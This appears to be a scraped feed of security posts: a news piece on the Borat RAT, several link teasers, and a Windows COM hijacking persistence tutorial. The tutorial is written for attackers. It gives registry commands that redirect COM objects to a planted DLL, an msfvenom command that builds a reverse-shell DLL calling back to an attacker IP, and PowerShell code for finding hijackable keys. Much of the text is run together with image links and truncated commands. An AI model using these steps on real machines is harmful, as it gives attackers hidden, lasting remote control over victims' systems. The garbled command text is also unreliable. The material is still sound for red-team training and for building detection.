Hi everyone, hope you doing great. So today I’ll introduce you to five amazing websites which can be very helpful for everyone and I…Continue reading on Medium » (https://medium.com/@mohitbajwa0/top-5-geeky-websites-2022-bdaaebc138e4?source=rss------bug_bounty-5)

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Top 5 Geeky Websites 2022

Hi everyone, hope you doing great. So today I’ll introduce you to five amazing websites which can be very helpful for everyone and I…Continue reading on Medium »
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Black Hat Ethical Hacking
No-Joke Borat RAT Propagates Ransomware, DDoS

No-Joke Borat RAT Propagates Ransomware, DDoSPost Views: 2
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Attackers are using a newly released remote access trojan (RAT), dubbed Borat RAT, to spread ransomware and distributed denial of service (DDoS)
This fresh malware strain extends the functionality of typical trojans with advanced functionality and a series of modules for launching various types of threat activity.

Attackers are using a newly released remote access trojan (RAT) to spread ransomware and distributed denial of service (DDoS) — in addition to the traditional RAT function of backdooring victims’ systems.

Researchers at Cyble Research Labs discovered the RAT, which they dubbed Borat RAT because it uses a photo of Sacha Baron Cohen, the comedian who created and portrayed the fictional character Borat in a popular series of mockumentary films.

Borat RAT, however, is not “verrry nice” — contrary to one of the most popular catchphrases of the character for which it’s named. It provides a range of advanced features as well as a dashboard for threat actors to perform various malicious activities beyond what other RATs can do, “further expanding the malware capabilities,” researchers said in a blog post about the malware.

“The Borat RAT is a potent and unique combination of remote-access trojan, spyware and ransomware, making it a triple threat to any machine compromised by it,” according to the post.
See Also: Complete Offensive Security and Ethical Hacking Course
https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Solutions-1.png Attack LaunchpadAs described by Cyble Research Labs, the RAT acts like a framework from which threat actors can launch their cybercriminal activities, providing a dashboard to perform typical RAT activities as well as an option to compile the malware binary for performing DDoS and ransomware attacks on the victim’s machine.

“Interestingly, the RAT has an option to deliver a ransomware payload to the victim’s machine for encrypting users’ files as well as for demanding a ransom,” researchers said. “Like other ransomware, this RAT also has the capability to create a ransom note on the victim’s machine.”

Indeed, the RAT could have been crafted to appeal to fledgling malware operators, as cybercriminals “often don’t know the best way to monetize their victims until they have been in an environment awhile,” one security professional observed.

“Malware authors are increasingly developing feature sets and capabilities that allow flexibility on the part of the attacker,” John Bambenek, principal threat hunter at Netenrich, a digital IT and security operations company, wrote in an email to Threatpost.

The good news is, often these types of tools “tend to be used by less sophisticated criminals–or those pretending to be less sophisticated — who may find it difficult to succeed at ransomware at scale,” he added.
See Also: Kali Linux 2022.1 Release with Visual Updates, New Tools, Legacy SSH Specific Features and ModulesCyble researchers analyzed a number of modules of the Borat RAT and found that its functionality is varied. As mentioned, there is a ransomware module that can deliver a ransomware payload to the victim’s machine for encrypting users’ files and demand a ransom, as well as a module for performing a DDoS attack.

The RAT also includes the following functionality in a series of individual modules:

* A keylogger that can monitor and store the keystrokes in the victim’s machine;
* Audio recording that checks if a microphone is present [...]

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and will record all audio and save it in a file named micaudio.wav;
* Webcam recording that records video is a webcam is present in the victim’s machine;
* Remote desktop sessions that can allow threat actors the necessary rights to control the victim’s machine, mouse, keyboard and screen capture;
* Code to enable reverse proxy for performing RAT activities anonymously;
* A module that collects information on a victim’s machine, including OS name/ version, system model, etc;
* Process hollowing that injects malicious code into the legitimate processes;
* Credential stealing that can steal cookies, history, bookmarks, and saved login credentials from chromium-based browsers like Google Chrome and Edge; and
* A module that steals Discord tokens and sends the stolen token information to the attacker.

Remote activities the RAT can perform to disturb victims include: play audio, swap mouse buttons, show/hide the desktop, show/hide the taskbar, and hold the mouse, among others. See Also: Offensive Security Tool: Scapy
The Cyble Research Team said it will continue to monitor the RAT’s actions and will update clients and the security community as the situation evolves.

In the meantime, organizations can mitigate risk by performing some common security precautions, such as avoiding the storage of important files in common locations such as the Desktop and My Documents; using strong passwords and enforcing multi-factor authentication wherever possible; and turning on the automatic software update feature on all connected devices wherever possible and pragmatic, researchers advised.

Individual users also should use a reputed antivirus and internet security software package on all connected devices, and should refrain from opening untrusted links and email attachments without verifying their authenticity, they said.
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See Also: Hacking stories: MafiaBoy, the hacker who took down the Internet
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go
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The post No-Joke Borat RAT Propagates Ransomware, DDoS first appeared on Black Hat Ethical Hacking.

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[NEW EVENT] BUG HUNTING BOUNTY IN STMAN TESTNET

Dear Stickmen, you must be all very excited to experience the Testnet version to be released today. To celebrate this event and create the…Continue reading on Medium »
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API Security Checklist
https://www.reddit.com/r/redteamsec/comments/txi13i/api_security_checklist/

APIs come in many flavors, including REST, SOAP, graphQL, gRPC, and WebSockets, and each has its own use cases and common vulnerabilities. The issues covered in this checklist can occur in any kind of API. Regardless of which technology you have used to implement your API, read on to find out what you can do today to address the biggest potential risks associated with it. https://www.wallarm.com/resources/api-security-checklist submitted by /u/Derrick_Wallarm (https://www.reddit.com/user/Derrick_Wallarm)
[link] (https://www.reddit.com/r/redteamsec/comments/txi13i/api_security_checklist/) [comments] (https://www.reddit.com/r/redteamsec/comments/txi13i/api_security_checklist/)

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[NEW EVENT] BUG HUNTING BOUNTY IN STMAN TESTNET
https://medium.com/@stickman_battleground/new-event-bug-hunting-bounty-in-stman-testnet-7e98010ed8bd?source=rss------bug_bounty-5

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Dear Stickmen, you must be all very excited to experience the Testnet version to be released today. To celebrate this event and create the…Continue reading on Medium » (https://medium.com/@stickman_battleground/new-event-bug-hunting-bounty-in-stman-testnet-7e98010ed8bd?source=rss------bug_bounty-5)

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Hacking on Medium
CSRF in ICEHRM 31.0.0.0S in Delete User Endpoint

AbICEHRM

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Hacking on Medium
Russia-China Alliance Extends to Youtube: Artist Criticizes Little Pinks, A Bear Responds

Political satire is an ancient tradition. It is an art form that has always existed, regardless of centuries, countries or cultures. And…

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Hacking on Medium
TryHackMe: [Day 8] Special by John Hammond Santa’s Bag of Toys

https://cdn-images-1.medium.com/max/1920/1*psaTaSfd9sQyajFeYTLO-w.png
Read the premise above, start the attached Windows analysis machine and find the transcription logs in the SantasLaptopLogs folder on the…

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Hacking on Medium
My CRTP Bootcamp Experience

https://cdn-images-1.medium.com/max/2000/0*KWLPydUzdgLPC1Tp.png
A little Background

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Hacking Articles|Raj Chandel's Blog
Windows Persistence: COM Hijacking (MITRE: T1546.015)

IntroductionAccording to MITRE, “Adversaries can use the COM system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence.” To hijack a COM object, an attacker needs to make certain changes in registry hives and replace the reference to a legitimate system component with a malicious one. When that application is run and the COM object called, the malware is run instead, hence, giving persistence.Background· Attack Methodology· Discover Hijackable Keys· InProcServer32: CacheTask (Physical Access to Machine)· InProcServer32: CacheTask (Remote Access to Machine)· InProcServer32: Internet Explorer (Remote Access)· LocalServer32: Remote Access to Machine· ConclusionAccording to Microsoft, “The Microsoft Component Object Model (COM) is a platform-independent, distributed, object-oriented system for creating binary software components that can interact. COM is the foundation technology for Microsoft’s OLE (compound documents), ActiveX (Internet-enabled components), as well as others.Registries: The registry is a system-defined database in which applications and system components store and retrieve configuration data. The data stored in the registry varies according to the version of Microsoft Windows. Applications use the registry API to retrieve, modify, or delete registry data. More info here.CLSID: The CLSID or Class Identifier is a string of alphanumeric (both numbers and alphabet characters) symbols that are used to represent a specific instance of a Component Object Model or COM-based program. It allows operating systems and software, particularly for Windows, to detect and access software components without identifying them by their names. More info here.Attack MethodologyBasically, any application which is triggering an EXE/DLL or some other library, first reads the HKCU (HKEY_CURRENT_USER) value and then HKLM (HKEY_LOCAL_MACHINE). So[...]

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, if a hijackable key is found, we will create a corresponding CLSID in the HKCU hive and thus, the application will trigger the HKCU hive first (therefore, executing our code instead of legit code).Discover Hijackable KeysTo discover hijackable keys, we would require process monitor. We need to put these 4 filters:Operation is RegOpenKey Includehttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDV7r0ezJTAfkZItwubFdWmQwEL497Qhhc6DRC-BZPPSbE1lgN8b_iaNmO4b066eRk49vkUboZOOm-GHPsr49WE2_VfTDUP8oqliwsh_2--v6NXD3SpunhmwOWou5l7QkPkvuwF0rabB7YLmXRvuIK5UM04Z_bXFb_wW1naFjDaZ97tqufxFjjbMfIqA/s16000/1.png · Result is NAME NOT FOUND Includehttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjAH7NH8rKVcRh7qSDFvNooqX1wyGWUmFcgQm9j7KBCgNuf5ljisxcN92LpZZSwTbf4K3nC_ugGlaJGlQwll8NNWks8d5c8engO2eFT-YQz3cBUXpjZy3e1OIrHypFTY0fYOz5-BCOjHfl-YOBAaXKPXujtPntGplyTWLcTHbXeL3AgZSLk7UO5BA1KAw/s16000/2.png · Path ends with InprocServer32/LocalServer32 Includehttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-tBDRwwhr44igxvVgM_Dv3KKLBvB22RH-kEK67haBUQo2t0OqkGqBzitbHlaNLVyPOoBOvV8aYGkrFcAq3QgqtZAr9GSM2G94XtYzq7fh4xCtUSl51yX3Lg6LLYlxsOV3jNlfRJpjxU9kwkBCNf9xST5-dCC58z1Cn-uGCJbAZJsQ2ryf74UENEG-Pg/s16000/3.png · Path begins with HKLM Excludehttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgkHH9M4SCyYpaAqSKomjNYh4YZ4ZbhGM_Fz9uqktAPyQrC459ebKypdQXdepdXagAWTiSeB8JBKlfiZ6w1IdJgOe1iUabeytJB98UNn5cABkw2Rdtkz802nQB2fr1RY6tGGsMb2mr9l-4DzCBfQP2wFxWsRazGiLBk3xqw_gdn4xvTaPlxQS2Kr5tfdw/s16000/4.png Now you’d have an output of all the probably hijackable keys.Import-Module .\COMHijackToolkit.ps1
Extract-HijackableKeysFromProcmonCSV -CSVfile .\Logfile.CSVhttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZGsBF0Rrry1Y4lWF_ZJUiRHNKoPAYRv9xq5kwTZfdqUfINIi7KK2v9W1pRE65S6qzKAKWBGW1stac1_o8LE0SIJ6A4R04kJNzgT0o8dakVJC7LSqMzsNQrCtCSnSpjui9M3RlMjDrQGlV4zl8PxvqOgOArVJIPyN_un5D1AkhvmZf86s0bP5AlznDzQ/s16000/6.png Another function in the same script will fetch the related CLSIDs and the missing DLL files/libraries.Part 2Enigma0x3 developed a script called Get-ScheduledTaskComHandler.ps1 which can Discover all the vulnerable COM Keys of all the scheduled tasks on the machine that execute on user logon. To do this, we just download it and run it like:Import-Module .\Get-ScheduledTaskComHandler.ps1
Get-ScheduledTaskComHandlerhttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEii4M8L58lanyDpzV_mef-[...]

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VAF0ZPdOmPFrEWnL2Rp3r6ZTp7W9BsLWcNdBn2iCMkozm1Q0AkEi5PxeOshWbQGtZhSLSzmfJfFL4CfNmBcdyIkZuLRafwfGH6JBRjtduJkTTTCPECVIIQ3yIKRNibrKl9rV1dsnJIuWpRzdsMThNaM23B15kEpigM7Xa2Q/s16000/8.png The script also has a great added module which can automatically identify scheduled tasks vulnerable to COM Hijacking which can give persistence on the system.Get-ScheduledTaskComHandler -PersistenceLocationshttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5m9TuKHvVzH-yquP1sModJfP8dM1LLiMmZVtRPY_jqjB5He9Nqno3A-FkjUfpzlsvImP6qMTiZuiCkfI-O7hIZv3-iwiag1Beb8cta7OwAxspl2c6NrU6fFTwXgVAB1l3DAZ1uESszXOK63sct3UlS4xwvsMb94ue3zdwL_o7SMyVN79ePPH5UPGt0w/s16000/9.png Let’s pick a task called cache task which uses wininet.dll upon first time logon.C:\Windows\System32\Tasks\Microsoft\Windows\Wininet\CacheTaskwhich can be read using schtasksschtasks /query /XML /TN “\Microsoft\Windows\Wininet\CacheTask”https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfh39U4Ai5M3gsgRlyfnF99eju4f758jQ_WGbfbEW6rOOCZXH2BZuwfeBJkB00vaf_y2mACJR561ixYJuBaJaUEyQI7RReS-BjU3Cy-m_4a54N_aDPN49suUpa3gaxf4_seTNc57F1L1f5tjnaFCpBx8dHuRj48DPSk1aJ29edzvFd-iq7S2dFFr01Cw/s16000/11.png Here, we now have the CLSID of the COM object which calls wininet.dll. We can open the registry hives and confirm if this COM object is calling wininet.dllInProcServer32: CacheTask (Physical Access to Machine)InProcServer32 key represents a path to a dynamic link library (DLL) implementation. Often used to represent DLL which is supposed to be run by a process.HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\Then we create one other key named:{0358b920-0ac7-461f-98f4-58e32cd89148}Again, right click on this key and add a new sub key:InProcServer32Then under this, we create two strings, one with value: C:\users\Public\shell.dlland other with name “ThreadingModel” and value “Both”msfvenom -p windows/x64/shell_reverse_tcp EXITFUNC=thread lhost=192.168.1.4 lport=1337 -f dll > shell.dllhttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0PeemyjpREZSytGsNgbozJHpfozIJFz_4lZaPZF6TvlEIprXt0mOEiGKw1G2yClmHzk1__9-S2pwnPDEDYMw3Wp5LCk8RnYRzlqY_wwtq_SkAvkQhPoEuoEIZYe1713PALFj487tXsNK5DXkP0DDmPeg0VeipSYknNQ3wso0SXmAUhS-vE44UxYvAvg/s16000/14.png Now, upon restart and first logon by the user, we will receive a reverse shell like so:___________________________
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orCIAdM_fON9l1RpzTASMpbbwC489bSFjp38Wo6MZBkdoBFiworD3uAo_QiWJsjY5awCCDjvc4F4obu9JVM8p8iyVMx_DcvHjaEWOzc-fblsEmEZoRZnlm5ReUUQw-VYWoBR_UuMZUFNzZILmu_rDZ2D8Wy_rSaV5ats0v6b-b4tJ0gcF7tV4mJg/s16000/15.png InProcServer32: CacheTask (Remote Access to Machine)What we just did above can be done remotely as well. First, we need access to the victim’s powershell (which can be obtained by using Nishang) and then we will use the following code provided by bohops.com found here. To find COM keys vulnerable to hijacking which include InProcServer32 keys we do:$inproc = gwmi Win32_COMSetting | ?{ $_.InprocServer32 -ne $null } dir $p > $null}https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8gmKKdkXxlX0ky-gCmfNNczksVXXzf4tlCNqaceQuzvgJOfrNLt-Rf0CxhYWrps0_PTvK679ImG8Y0rmcuXg_EflaFPEr4G7oE0h0IiaExumn3ESO32QMWwOPZu0-JbbX0AmaDxj-XXvGN-pHPfRnYy2yh8V9R9hxTL2P6UrO9rAGZdii8oCTdOMJgg/s16000/16.png Similarly, these results can be stored in a text files using the code:$inproc = gwmi Win32_COMSetting | ?{ $_.InprocServer32 -ne $null } ignite.txthttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUugW0XoU5eZZpMaw7c97i2RvkRP7OFn1Hct4UmlkO4nFcoy_X1B6B_ztCClrAXpk5f8tOryAKlpfRNGGJ0CcZFmXi2EoVMACAIt4Az7JYgloSgPmcCej_cuS2Y2EO3QPkOLcKKOzM8xBaU-hZ71mY_xGZmrRSyOC5KY8ITou_6pH7LtoQ91Rx67e3BA/s16000/17.png In the enumeration and exploitation example above, we used CacheTask and overridden the wininet.dll by shell.dllcd C:\Windows\System32\Tasks\Microsoft\Windows\Wininethttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEij_z6DLrHt_9oEqraM682pjQ3HHdYtkUYTUxkVGC-i5TkAas3DAc_NDnl841FYvnPRgpkeuavGfL0s0Fh2F40fThoxBO7afLxsA1dmHh-o53MmNJOvaqouM81B__cEFv1rX1pdgqFTWnQhWQnwGFAMd1MMrw7YTX07qm8TZ3lBIAZWdqdssnq4BY1GJA/s16000/19.png Now, we have obtained a CLSID. This exists in HKLM hive. We need to create this in HKCU which can be done using “reg add” command. And then, we can confirm if its got added using reg query. Finally, to check if it works, we can restart it and wait for a user to logonREG ADD HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32 /t REG_SZ /d C:\Users\Public\shell.dll REG_SZ /v ThreadingModel /d Bothhttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivP_aN6kXUOeW4IdCaMy-CBpZZCbqUIw6M-FJmkmoR40gwLFc6HISCK6h-FJSHMbD_4DGxjBmzIKSMtiTu7Gk41p3wEwLI41Hx5bsT-9hX0xjvSLYtJbr_pfHKWb57tzLTR0F_BthRjOXnS-V7mn07xgmQ5FCaCehyrex3TU5Yxy7CdO1Vh23sqh859Q/s16000/20.png Now, when the system restarts and user Harshit logs in again, we will have a reverse shell confirming persistence has been achieved.InProcServer32: Internet Explorer (Remote Access)GDATA provided this method of persistence in post here. Internet Explorer is widely used in corporate even today. Upon reading its documentation, it was observed that IE uses the following DLL: [...]

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@hacking_Attack
@Hacking_Video

api-ms-win-downlevel-1×64-l1-1-0._dlIE’s CLSID exists in: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}This DLL doesn’t exist by default in the system, so, to do COM hijacking, we will create the following folder and add this DLL in here.C:\Users\harshit\AppData\Roaming\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}Now, to execute this attack, we need to override the IE CLSID by referring that CLSID in HKCU hive as we did in the example above.api-ms-win-downlevel-1×64-l1-1-0._dl” https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8tQzPVE7Z3sTKTiwi--tO2kbHtT1kIA2ImSxgiWPnDiXyWgJmeAUDzZqgQ_iZzKQ8MxcKWmPEk81RF6aKX1ETDt5ombkPSUZt40XwFLn7-lmLzqGQDQ1mHU5ZXijfyPMpi7weWXQx4z4kx-XWnAcn-HRoQa3Hibe_TeXgzxuiHTMAgcutA2Ps43pjQQ/s16000/22.png Now, we create the folder: C:\Users\harshit\AppData\Roaming\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}cd c:\users\harshit\appdata\roaming\microsoft api-ms-win-downlevel-1×64-l1-1-0._dl -O api-ms-win-downlevel-1×64-l1-1-0._dlhttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjE6RMSCLYoB7E6Aq5HViGPbaM5nGndaKLdNit_r2midqexgB-Eeaw-OISnD0Y-4Zrcu3gEtLirtbmo3PcWPw79BGZwMXe-0ch14gD5T6XondQK8nrouu3MXp4co2OVHZW1ZhuhYRjGQ_Hh__bUWQjiO8S7W3eOv9Qg4GnZ33KKAIB5Dw6RBCwH_D1mcA/s16000/23.png Now, we will add the IE CLSID reference in HKCU.REG ADD HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\InProcServer32 /t REG_SZ /d C:\Users\harshit\AppData\Roaming\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}\api-ms-win-downlevel-1x64-l1-1-0._dl REG_SZ /v ThreadingModel /d Apartmenthttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgi3xNeXUW7OJBfIp6IlofI8DtQaWfXuvjQR3_LWlVjsMVMEUEGHdAPBCRN0XYsuPgiKQS7Z9e_6kruHw-5ejmI7JgQpDb7gbz1PZKs9Tn1QbH4fU0HCxV7yJYBngvrIZOM-RDzPeVWE3SgKU2tBzDzyklC1s6p1X8Fic1KOLxmFQQkVONfDDtfRu0liA/s16000/24.png Once the COM hijacking has been done, as soon as IE launches, we will receive a reverse shell!LocalServer32: Remote Access to MachineThe LocalServer32 key represents a path to an executable (exe) implementation of a process, meaning that when an application is run, it refers the COM keys and executes an EXE file.Operation is RegOpenKey Include· Result is NAME NOT FOUND Include· Path ends with LocalServer32 Include· Path begins with HKLM ExcludeBut since, we are using remote machine, following code can be used. The output result contains all the files that contain an empty reference to a file that doesn’t exist on drive. As we can see, an interesting file has appeared. This file is called igniteserver.exe and refers a World writable directory (/Users/Public). Means that an attacker can put his own malicious file on this directory with the name igniteserver.exe.$inproc = gwmi Win32_COMSetting | ?{ $_.LocalServer32 -ne $null } ignite.txthttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTeSaN3hUUpoUF2JDwWg-bFNjnA-Qg_3umW_bxuciJNx2CVYtsJekteIT1uJsp8Sk4PmMJnzygD-GzQCekHCDopBpp[...]

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@hacking_Attack
@Hacking_Video